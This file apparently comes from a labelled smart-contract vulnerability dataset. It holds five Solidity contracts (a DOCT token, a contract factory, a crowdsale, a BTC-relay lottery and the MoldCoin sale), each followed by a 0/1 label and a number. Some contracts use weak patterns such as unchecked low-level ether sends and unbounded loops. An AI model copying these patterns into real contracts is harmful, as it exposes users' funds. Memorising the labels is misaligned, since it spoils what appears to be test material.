pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address payable public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address payable _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address payable _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Claimable is Ownable { address payable public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address payable newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract HasNoEther is Ownable { constructor() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { owner.transfer(address(this).balance); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(address(this)); token.safeTransfer(owner, balance); } } contract HasNoTokens is CanReclaimToken { function tokenFallback(address from_, uint256 value_, bytes calldata data_) pure external { from_; value_; data_; revert(); } } contract HasNoContracts is Ownable { function reclaimContract(address contractAddr) external onlyOwner { Ownable contractInst = Ownable(contractAddr); contractInst.transferOwnership(owner); } } contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts { } contract Destructible is Ownable { constructor() public payable { } function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address payable _recipient) onlyOwner public { selfdestruct(_recipient); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DOCTToken is StandardToken, NoOwner, Claimable { string public symbol = 'DOCT'; string public name = 'DocTailor'; uint8 public constant decimals = 8; uint256 constant TOTAL_SUPPLY = 500_000_000_000 * (10 ** uint256(decimals)); bool public transferEnabled = true; modifier canTransfer() { require( transferEnabled || msg.sender == owner); _; } constructor() public { totalSupply_ = TOTAL_SUPPLY; balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function setTransferEnabled(bool enable) onlyOwner public { transferEnabled = enable; } function transfer(address _to, uint256 _value) canTransfer public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) { return super.transferFrom(_from, _to, _value); } }
1
4,275
pragma solidity ^0.4.13; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Destructible is Ownable { function Destructible() payable { } function destroy() onlyOwner { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner { selfdestruct(_recipient); } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PullPayment { using SafeMath for uint256; mapping(address => uint256) public payments; uint256 public totalPayments; function asyncSend(address dest, uint256 amount) internal { payments[dest] = payments[dest].add(amount); totalPayments = totalPayments.add(amount); } function withdrawPayments() { address payee = msg.sender; uint256 payment = payments[payee]; require(payment != 0); require(this.balance >= payment); totalPayments = totalPayments.sub(payment); payments[payee] = 0; assert(payee.send(payment)); } } contract Generatable{ function generate( address token, address contractOwner, uint256 cycle ) public returns(address); } contract ERC20 { function decimals() public view returns (uint8); function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract ContractFactory is Destructible,PullPayment{ using SafeERC20 for ERC20; uint256 public diviRate; uint256 public developerTemplateAmountLimit; address public platformWithdrawAccount; struct userContract{ uint256 templateId; uint256 orderid; address contractAddress; uint256 incomeDistribution; uint256 creattime; uint256 endtime; } struct contractTemplate{ string templateName; address contractGeneratorAddress; string abiStr; uint256 startTime; uint256 endTime; uint256 startUp; uint256 profit; uint256 quota; uint256 cycle; address token; } mapping(address => userContract[]) public userContractsMap; mapping(uint256 => contractTemplate) public contractTemplateAddresses; mapping(uint256 => uint256) public skipMap; event ContractCreated(address indexed creator,uint256 templateId,uint256 orderid,address contractAddress); event ContractTemplatePublished(uint256 indexed templateId,address creator,string templateName,address contractGeneratorAddress); event Log(address data); event yeLog(uint256 balanceof); function ContractFactory(){ diviRate=5; platformWithdrawAccount=0x4b533502d8c4a11c7e7de42b89d8e3833ebf6aeb; developerTemplateAmountLimit=500000000000000000; } function generateContract(uint256 templateId,uint256 orderid) public returns(address){ contractTemplate storage ct = contractTemplateAddresses[templateId]; if(ct.contractGeneratorAddress!=0x0){ address contractTemplateAddress = ct.contractGeneratorAddress; string templateName = ct.templateName; require(block.timestamp >= ct.startTime); require(block.timestamp <= ct.endTime); Generatable generator = Generatable(contractTemplateAddress); address target = generator.generate(ct.token,msg.sender,ct.cycle); userContract[] storage userContracts = userContractsMap[msg.sender]; userContracts.push(userContract(templateId,orderid,target,1,now,now.add(uint256(1 days)))); ContractCreated(msg.sender,templateId,orderid,target); return target; }else{ revert(); } } function returnOfIncome(address user,uint256 _index) public{ require(msg.sender == user); userContract[] storage ucs = userContractsMap[user]; if(ucs[_index].contractAddress!=0x0 && ucs[_index].incomeDistribution == 1){ contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId]; if(ct.contractGeneratorAddress!=0x0){ if(now > ucs[_index].creattime.add(uint256(1 days))){ revert(); } ERC20 token = ERC20(ct.token); uint256 balanceof = token.balanceOf(ucs[_index].contractAddress); uint256 decimals = token.decimals(); if(now < ct.startTime.add(uint256(10 days))){ if(balanceof < ct.startUp.sub(10000).mul(10**uint256(decimals))){ revert(); } } else { if(balanceof < ct.startUp.mul(10**uint256(decimals))){ revert(); } } uint256 income = ct.profit.mul(ct.cycle).mul(balanceof).div(36000); if(!token.transfer(ucs[_index].contractAddress,income)){ revert(); } else { ucs[_index].incomeDistribution = 2; } if(now < ct.startTime.add(uint256(10 days))){ uint256 incomes = balanceof.div(10); if(!token.transfer(ucs[_index].contractAddress,incomes)){ revert(); } } }else{ revert(); } }else{ revert(); } } function publishContractTemplate( uint256 templateId, string _templateName, address _contractGeneratorAddress, string _abiStr, uint256 _startTime, uint256 _endTime, uint256 _profit, uint256 _startUp, uint256 _quota, uint256 _cycle, address _token ) public { if(msg.sender!=owner){ revert(); } contractTemplate storage ct = contractTemplateAddresses[templateId]; if(ct.contractGeneratorAddress!=0x0){ revert(); }else{ ct.templateName = _templateName; ct.contractGeneratorAddress = _contractGeneratorAddress; ct.abiStr = _abiStr; ct.startTime = _startTime; ct.endTime = _endTime; ct.startUp = _startUp; ct.profit = _profit; ct.quota = _quota; ct.cycle = _cycle; ct.token = _token; ContractTemplatePublished(templateId,msg.sender,_templateName,_contractGeneratorAddress); } } function putforward( address _token, address _value ) public { if(msg.sender!=owner){ revert(); } ERC20 token = ERC20(_token); uint256 balanceof = token.balanceOf(address(this)); if(!token.transfer(_value,balanceof)){ revert(); } } function queryPublishedContractTemplate( uint256 templateId ) public constant returns( string, address, string, uint256, uint256, uint256, uint256, uint256, uint256, address ) { contractTemplate storage ct = contractTemplateAddresses[templateId]; if(ct.contractGeneratorAddress!=0x0){ return ( ct.templateName, ct.contractGeneratorAddress, ct.abiStr, ct.startTime, ct.endTime, ct.profit, ct.startUp, ct.quota, ct.cycle, ct.token ); }else{ return ('',0x0,'',0,0,0,0,0,0,0x0); } } function queryUserContract(address user,uint256 _index) public constant returns( uint256, uint256, address, uint256, uint256, uint256 ){ userContract[] storage ucs = userContractsMap[user]; contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId]; ERC20 tokens = ERC20(ct.token); uint256 balanceofs = tokens.balanceOf(ucs[_index].contractAddress); return ( ucs[_index].templateId, ucs[_index].orderid, ucs[_index].contractAddress, ucs[_index].incomeDistribution, ucs[_index].endtime, balanceofs ); } function queryUserContractCount(address user) public constant returns (uint256){ userContract[] storage ucs = userContractsMap[user]; return ucs.length; } function changeDiviRate(uint256 _diviRate) external onlyOwner(){ diviRate=_diviRate; } function changePlatformWithdrawAccount(address _platformWithdrawAccount) external onlyOwner(){ platformWithdrawAccount=_platformWithdrawAccount; } function changeDeveloperTemplateAmountLimit(uint256 _developerTemplateAmountLimit) external onlyOwner(){ developerTemplateAmountLimit=_developerTemplateAmountLimit; } function addSkipPrice(uint256 price) external onlyOwner(){ skipMap[price]=1; } function removeSkipPrice(uint256 price) external onlyOwner(){ skipMap[price]=0; } }
0
1,203
pragma solidity ^0.4.11; contract token { function transfer(address receiver, uint amount); function balanceOf(address addr); } contract CrowdSale { enum State { Fundraising, Successful } State public state = State.Fundraising; mapping (address => uint) balances; address[] contributors; uint public totalRaised; uint public currentBalance; uint public deadline; uint public completedAt; token public tokenReward; address public creator; address public beneficiary; string campaignUrl; uint constant version = 1; event LogFundingReceived(address addr, uint amount, uint currentTotal); event LogWinnerPaid(address winnerAddress); event LogFundingSuccessful(uint totalRaised); event LogFunderInitialized( address creator, address beneficiary, string url, uint256 deadline); event LogContributorsContributed(address addr, uint amount, uint id); event LogContributorsPayout(address addr, uint amount); modifier inState(State _state) { if (state != _state) revert(); _; } modifier isCreator() { if (msg.sender != creator) revert(); _; } modifier atEndOfLifecycle() { if(!(state == State.Successful && completedAt + 1 hours < now)) { revert(); } _; } function CrowdSale( uint _timeInMinutesForFundraising, string _campaignUrl, address _ifSuccessfulSendTo, token _addressOfTokenUsedAsReward) { creator = msg.sender; beneficiary = _ifSuccessfulSendTo; campaignUrl = _campaignUrl; deadline = now + (_timeInMinutesForFundraising * 1 minutes); currentBalance = 0; tokenReward = token(_addressOfTokenUsedAsReward); LogFunderInitialized( creator, beneficiary, campaignUrl, deadline); } function contribute() public inState(State.Fundraising) payable returns (uint256) { uint id; if(contributors.length == 0){ contributors.push(msg.sender); id=0; } else{ for(uint i = 0; i < contributors.length; i++) { if(contributors[i]==msg.sender) { id = i; break; } else if(i == contributors.length - 1) { contributors.push(msg.sender); id = i+1; } } } balances[msg.sender]+=msg.value; totalRaised += msg.value; currentBalance = totalRaised; LogContributorsContributed (msg.sender, balances[msg.sender], id); LogFundingReceived(msg.sender, msg.value, totalRaised); checkIfFundingCompleteOrExpired(); return contributors.length - 1; } function checkIfFundingCompleteOrExpired() { if ( now > deadline ) { state = State.Successful; LogFundingSuccessful(totalRaised); finished(); completedAt = now; } } function payOut() public inState(State.Successful) { if (msg.sender == creator){ if(!beneficiary.send(this.balance)) { revert(); } currentBalance = 0; LogWinnerPaid(beneficiary); } else { uint amount = 0; address add; for(uint i=0; i<contributors.length ;i++){ if (contributors[i]==msg.sender){ add = contributors[i]; amount = balances[add]*9000000/totalRaised; balances[add] = 0; tokenReward.transfer(add, amount); LogContributorsPayout(add, amount); amount = 0; } } } } function finished() inState(State.Successful) { if(!beneficiary.send(this.balance)) { revert(); } currentBalance = 0; LogWinnerPaid(beneficiary); } function removeContract() public isCreator() atEndOfLifecycle() { selfdestruct(msg.sender); } function () payable { if (msg.value > 0){ contribute(); } else revert(); } }
0
1,990
pragma solidity ^0.4.15; contract BTCRelay { function getLastBlockHeight() public returns (int); function getBlockchainHead() public returns (int); function getFeeAmount(int blockHash) public returns (int); function getBlockHeader(int blockHash) public returns (bytes32[5]); function storeBlockHeader(bytes blockHeader) public returns (int); } contract Escrow { function deposit(address recipient) payable; } contract AffiliateNetwork { function affiliateAddresses(uint code) returns (address); } contract EthereumLottery { uint constant GAS_LIMIT_DEPOSIT = 300000; uint constant GAS_LIMIT_AFFILIATE = 35000; struct Lottery { uint jackpot; int decidingBlock; uint numTickets; uint numTicketsSold; uint ticketPrice; uint affiliateCut; int winningTicket; address winner; uint finalizationBlock; address finalizer; string message; mapping (uint => address) tickets; int nearestKnownBlock; int nearestKnownBlockHash; } address public owner; address public admin; address public proposedOwner; int public id = -1; uint public lastInitTimestamp; uint public lastSaleTimestamp; uint public recentActivityIdx; uint[1000] public recentActivity; mapping (int => Lottery) public lotteries; address public btcRelay; address public escrow; address public affiliateNetwork; enum Reason { TicketSaleClosed, TicketAlreadySold } event PurchaseFailed(address indexed buyer, uint mark, Reason reason); event PurchaseSuccessful(address indexed buyer, uint mark); modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyAdminOrOwner { require(msg.sender == owner || msg.sender == admin); _; } modifier afterInitialization { require(id >= 0); _; } function EthereumLottery(address _btcRelay, address _escrow, address _affiliateNetwork) { owner = msg.sender; admin = msg.sender; btcRelay = _btcRelay; escrow = _escrow; affiliateNetwork = _affiliateNetwork; } function needsInitialization() constant returns (bool) { return id == -1 || lotteries[id].finalizationBlock > 0; } function initLottery(uint _jackpot, uint _numTickets, uint _ticketPrice) onlyAdminOrOwner { require(needsInitialization()); require(_numTickets * _ticketPrice > _jackpot); id += 1; lotteries[id].jackpot = _jackpot; lotteries[id].decidingBlock = -1; lotteries[id].numTickets = _numTickets; lotteries[id].ticketPrice = _ticketPrice; lotteries[id].winningTicket = -1; uint affiliateCut = (_ticketPrice - (_jackpot / _numTickets)) / 2; lotteries[id].affiliateCut = affiliateCut; lastInitTimestamp = block.timestamp; lastSaleTimestamp = 0; } function buyTickets(uint[] _tickets, uint _mark, uint _affiliate) payable afterInitialization { if (lotteries[id].numTicketsSold == lotteries[id].numTickets) { PurchaseFailed(msg.sender, _mark, Reason.TicketSaleClosed); msg.sender.transfer(msg.value); return; } require(_tickets.length > 0); require(msg.value == _tickets.length * lotteries[id].ticketPrice); for (uint i = 0; i < _tickets.length; i++) { uint ticket = _tickets[i]; require(ticket >= 0); require(ticket < lotteries[id].numTickets); if (lotteries[id].tickets[ticket] != 0) { PurchaseFailed(msg.sender, _mark, Reason.TicketAlreadySold); msg.sender.transfer(msg.value); return; } } for (i = 0; i < _tickets.length; i++) { ticket = _tickets[i]; lotteries[id].tickets[ticket] = msg.sender; recentActivity[recentActivityIdx] = ticket; recentActivityIdx += 1; if (recentActivityIdx >= recentActivity.length) { recentActivityIdx = 0; } } lotteries[id].numTicketsSold += _tickets.length; lastSaleTimestamp = block.timestamp; address affiliateAddress = AffiliateNetwork(affiliateNetwork).affiliateAddresses(_affiliate); if (affiliateAddress != 0) { uint cut = lotteries[id].affiliateCut * _tickets.length; var _ = affiliateAddress.call.gas(GAS_LIMIT_AFFILIATE).value(cut)(); } PurchaseSuccessful(msg.sender, _mark); } function needsBlockFinalization() afterInitialization constant returns (bool) { uint btcTimestamp; int blockHash = BTCRelay(btcRelay).getBlockchainHead(); (,btcTimestamp) = getBlockHeader(blockHash); uint delta = 0; if (btcTimestamp < block.timestamp) { delta = block.timestamp - btcTimestamp; } return delta < 2 * 60 * 60 && lotteries[id].numTicketsSold == lotteries[id].numTickets && lotteries[id].decidingBlock == -1; } function finalizeBlock() afterInitialization { require(needsBlockFinalization()); int blockHeight = BTCRelay(btcRelay).getLastBlockHeight(); lotteries[id].decidingBlock = blockHeight + 54; } function needsLotteryFinalization() afterInitialization constant returns (bool) { int blockHeight = BTCRelay(btcRelay).getLastBlockHeight(); return lotteries[id].decidingBlock != -1 && blockHeight >= lotteries[id].decidingBlock + 6 && lotteries[id].finalizationBlock == 0; } function finalizeLottery(uint _steps) afterInitialization { require(needsLotteryFinalization()); if (lotteries[id].nearestKnownBlock != lotteries[id].decidingBlock) { walkTowardsBlock(_steps); } else { int winningTicket = lotteries[id].nearestKnownBlockHash % int(lotteries[id].numTickets); address winner = lotteries[id].tickets[uint(winningTicket)]; lotteries[id].winningTicket = winningTicket; lotteries[id].winner = winner; lotteries[id].finalizationBlock = block.number; lotteries[id].finalizer = tx.origin; if (winner != 0) { uint value = lotteries[id].jackpot; bool successful = winner.call.gas(GAS_LIMIT_DEPOSIT).value(value)(); if (!successful) { Escrow(escrow).deposit.value(value)(winner); } } var _ = admin.call.gas(GAS_LIMIT_DEPOSIT).value(this.balance)(); } } function walkTowardsBlock(uint _steps) internal { int blockHeight; int blockHash; if (lotteries[id].nearestKnownBlock == 0) { blockHeight = BTCRelay(btcRelay).getLastBlockHeight(); blockHash = BTCRelay(btcRelay).getBlockchainHead(); } else { blockHeight = lotteries[id].nearestKnownBlock; blockHash = lotteries[id].nearestKnownBlockHash; } for (uint step = 0; step < _steps; step++) { blockHeight -= 1; (blockHash,) = getBlockHeader(blockHash); if (blockHeight == lotteries[id].decidingBlock) { break; } } lotteries[id].nearestKnownBlock = blockHeight; lotteries[id].nearestKnownBlockHash = blockHash; } function getBlockHeader(int blockHash) internal returns (int prevBlockHash, uint timestamp) { int fee = BTCRelay(btcRelay).getFeeAmount(blockHash); require(fee == 0); bytes32[5] memory blockHeader = BTCRelay(btcRelay).getBlockHeader(blockHash); prevBlockHash = 0; for (uint i = 0; i < 32; i++) { uint pos = 68 + i; byte data = blockHeader[pos / 32][pos % 32]; prevBlockHash = prevBlockHash | int(data) * int(0x100 ** i); } timestamp = 0; for (i = 0; i < 4; i++) { pos = 132 + i; data = blockHeader[pos / 32][pos % 32]; timestamp = timestamp | uint(data) * uint(0x100 ** i); } return (prevBlockHash, timestamp); } function getMessageLength(string _message) constant returns (uint) { return bytes(_message).length; } function setMessage(int _id, string _message) afterInitialization { require(lotteries[_id].winner != 0); require(lotteries[_id].winner == msg.sender); require(getMessageLength(_message) <= 500); lotteries[_id].message = _message; } function getLotteryDetailsA(int _id) constant returns (int _actualId, uint _jackpot, int _decidingBlock, uint _numTickets, uint _numTicketsSold, uint _lastSaleTimestamp, uint _ticketPrice) { if (_id == -1) { _actualId = id; } else { _actualId = _id; } _jackpot = lotteries[_actualId].jackpot; _decidingBlock = lotteries[_actualId].decidingBlock; _numTickets = lotteries[_actualId].numTickets; _numTicketsSold = lotteries[_actualId].numTicketsSold; _lastSaleTimestamp = lastSaleTimestamp; _ticketPrice = lotteries[_actualId].ticketPrice; } function getLotteryDetailsB(int _id) constant returns (int _actualId, int _winningTicket, address _winner, uint _finalizationBlock, address _finalizer, string _message, int _prevLottery, int _nextLottery, int _blockHeight) { if (_id == -1) { _actualId = id; } else { _actualId = _id; } _winningTicket = lotteries[_actualId].winningTicket; _winner = lotteries[_actualId].winner; _finalizationBlock = lotteries[_actualId].finalizationBlock; _finalizer = lotteries[_actualId].finalizer; _message = lotteries[_actualId].message; if (_actualId == 0) { _prevLottery = -1; } else { _prevLottery = _actualId - 1; } if (_actualId == id) { _nextLottery = -1; } else { _nextLottery = _actualId + 1; } _blockHeight = BTCRelay(btcRelay).getLastBlockHeight(); } function getTicketDetails(int _id, uint _offset, uint _n, address _addr) constant returns (uint8[] details) { require(_offset + _n <= lotteries[_id].numTickets); details = new uint8[](_n); for (uint i = 0; i < _n; i++) { address addr = lotteries[_id].tickets[_offset + i]; if (addr == _addr && _addr != 0) { details[i] = 2; } else if (addr != 0) { details[i] = 1; } else { details[i] = 0; } } } function getFullTicketDetails(int _id, uint _offset, uint _n) constant returns (address[] details) { require(_offset + _n <= lotteries[_id].numTickets); details = new address[](_n); for (uint i = 0; i < _n; i++) { details[i] = lotteries[_id].tickets[_offset + i]; } } function getTicketOwner(int _id, uint _ticket) constant returns (address) { require(_id >= 0); return lotteries[_id].tickets[_ticket]; } function getRecentActivity() constant returns (int _id, uint _idx, uint[1000] _recentActivity) { _id = id; _idx = recentActivityIdx; for (uint i = 0; i < recentActivity.length; i++) { _recentActivity[i] = recentActivity[i]; } } function setAdmin(address _admin) onlyOwner { admin = _admin; } function proposeOwner(address _owner) onlyOwner { proposedOwner = _owner; } function acceptOwnership() { require(proposedOwner != 0); require(msg.sender == proposedOwner); owner = proposedOwner; } }
0
24
pragma solidity ^0.4.11; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract MoldCoin is StandardToken, SafeMath { string public name = "MOLD"; string public symbol = "MLD"; uint public decimals = 18; uint public startDatetime; uint public firstStageDatetime; uint public secondStageDatetime; uint public endDatetime; address public founder; address public admin; uint public coinAllocation = 20 * 10**8 * 10**decimals; uint public angelAllocation = 2 * 10**8 * 10**decimals; uint public founderAllocation = 3 * 10**8 * 10**decimals; bool public founderAllocated = false; uint public saleTokenSupply = 0; uint public salesVolume = 0; uint public angelTokenSupply = 0; bool public halted = false; event Buy(address indexed sender, uint eth, uint tokens); event AllocateFounderTokens(address indexed sender, uint tokens); event AllocateAngelTokens(address indexed sender, address to, uint tokens); event AllocateUnsoldTokens(address indexed sender, address holder, uint tokens); modifier onlyAdmin { require(msg.sender == admin); _; } modifier duringCrowdSale { require(block.timestamp >= startDatetime && block.timestamp <= endDatetime); _; } function MoldCoin(uint startDatetimeInSeconds, address founderWallet) { admin = msg.sender; founder = founderWallet; startDatetime = startDatetimeInSeconds; firstStageDatetime = startDatetime + 120 * 1 hours; secondStageDatetime = firstStageDatetime + 240 * 1 hours; endDatetime = secondStageDatetime + 2040 * 1 hours; } function price(uint timeInSeconds) constant returns(uint) { if (timeInSeconds < startDatetime) return 0; if (timeInSeconds <= firstStageDatetime) return 15000; if (timeInSeconds <= secondStageDatetime) return 12000; if (timeInSeconds <= endDatetime) return 10000; return 0; } function buy() payable { buyRecipient(msg.sender); } function() payable { buyRecipient(msg.sender); } function buyRecipient(address recipient) duringCrowdSale payable { require(!halted); uint tokens = safeMul(msg.value, price(block.timestamp)); require(safeAdd(saleTokenSupply,tokens)<=coinAllocation ); balances[recipient] = safeAdd(balances[recipient], tokens); totalSupply = safeAdd(totalSupply, tokens); saleTokenSupply = safeAdd(saleTokenSupply, tokens); salesVolume = safeAdd(salesVolume, msg.value); if (!founder.call.value(msg.value)()) revert(); Buy(recipient, msg.value, tokens); } function allocateFounderTokens() onlyAdmin { require( block.timestamp > endDatetime ); require(!founderAllocated); balances[founder] = safeAdd(balances[founder], founderAllocation); totalSupply = safeAdd(totalSupply, founderAllocation); founderAllocated = true; AllocateFounderTokens(msg.sender, founderAllocation); } function allocateAngelTokens(address angel, uint tokens) onlyAdmin { require(safeAdd(angelTokenSupply,tokens) <= angelAllocation ); balances[angel] = safeAdd(balances[angel], tokens); angelTokenSupply = safeAdd(angelTokenSupply, tokens); totalSupply = safeAdd(totalSupply, tokens); AllocateAngelTokens(msg.sender, angel, tokens); } function halt() onlyAdmin { halted = true; } function unhalt() onlyAdmin { halted = false; } function changeAdmin(address newAdmin) onlyAdmin { admin = newAdmin; } function arrangeUnsoldTokens(address holder, uint256 tokens) onlyAdmin { require( block.timestamp > endDatetime ); require( safeAdd(saleTokenSupply,tokens) <= coinAllocation ); require( balances[holder] >0 ); balances[holder] = safeAdd(balances[holder], tokens); saleTokenSupply = safeAdd(saleTokenSupply, tokens); totalSupply = safeAdd(totalSupply, tokens); AllocateUnsoldTokens(msg.sender, holder, tokens); } } contract MoldCoinBonus is SafeMath { function bonusBalanceOf(address _owner) constant returns (uint256 balance) { return bonusBalances[_owner]; } mapping (address => uint256) bonusBalances; address public admin; MoldCoin public fundAddress; uint public rate = 10; uint public totalSupply = 0; bool public halted = false; event BuyWithBonus(address indexed sender, address indexed inviter, uint eth, uint tokens, uint bonus); event BuyForFriend(address indexed sender, address indexed friend, uint eth, uint tokens, uint bonus); modifier onlyAdmin { require(msg.sender == admin); _; } modifier validSale { require(!halted); require(!fundAddress.halted()); _; } function MoldCoinBonus(MoldCoin _fundAddress, uint _rate) { admin = msg.sender; fundAddress = _fundAddress; rate = _rate; } function buyWithBonus(address inviter) validSale payable { require( msg.sender != inviter ); uint tokens = safeMul(msg.value, fundAddress.price(block.timestamp)); uint bonus = safeDiv(safeMul(tokens, rate), 100); fundAddress.buyRecipient.value(msg.value)(msg.sender); totalSupply = safeAdd(totalSupply, bonus*2); bonusBalances[inviter] = safeAdd(bonusBalances[inviter], bonus); bonusBalances[msg.sender] = safeAdd(bonusBalances[msg.sender], bonus); BuyWithBonus(msg.sender, inviter, msg.value, tokens, bonus); } function buyForFriend(address friend) validSale payable { require( msg.sender != friend ); uint tokens = safeMul(msg.value, fundAddress.price(block.timestamp)); uint bonus = safeDiv(safeMul(tokens, rate), 100); fundAddress.buyRecipient.value(msg.value)(friend); totalSupply = safeAdd(totalSupply, bonus*2); bonusBalances[friend] = safeAdd(bonusBalances[friend], bonus); bonusBalances[msg.sender] = safeAdd(bonusBalances[msg.sender], bonus); BuyForFriend(msg.sender, friend, msg.value, tokens, bonus); } function halt() onlyAdmin { halted = true; } function unhalt() onlyAdmin { halted = false; } function changeAdmin(address newAdmin) onlyAdmin { admin = newAdmin; } function changeRate(uint _rate) onlyAdmin { rate = _rate; } }
1
4,273
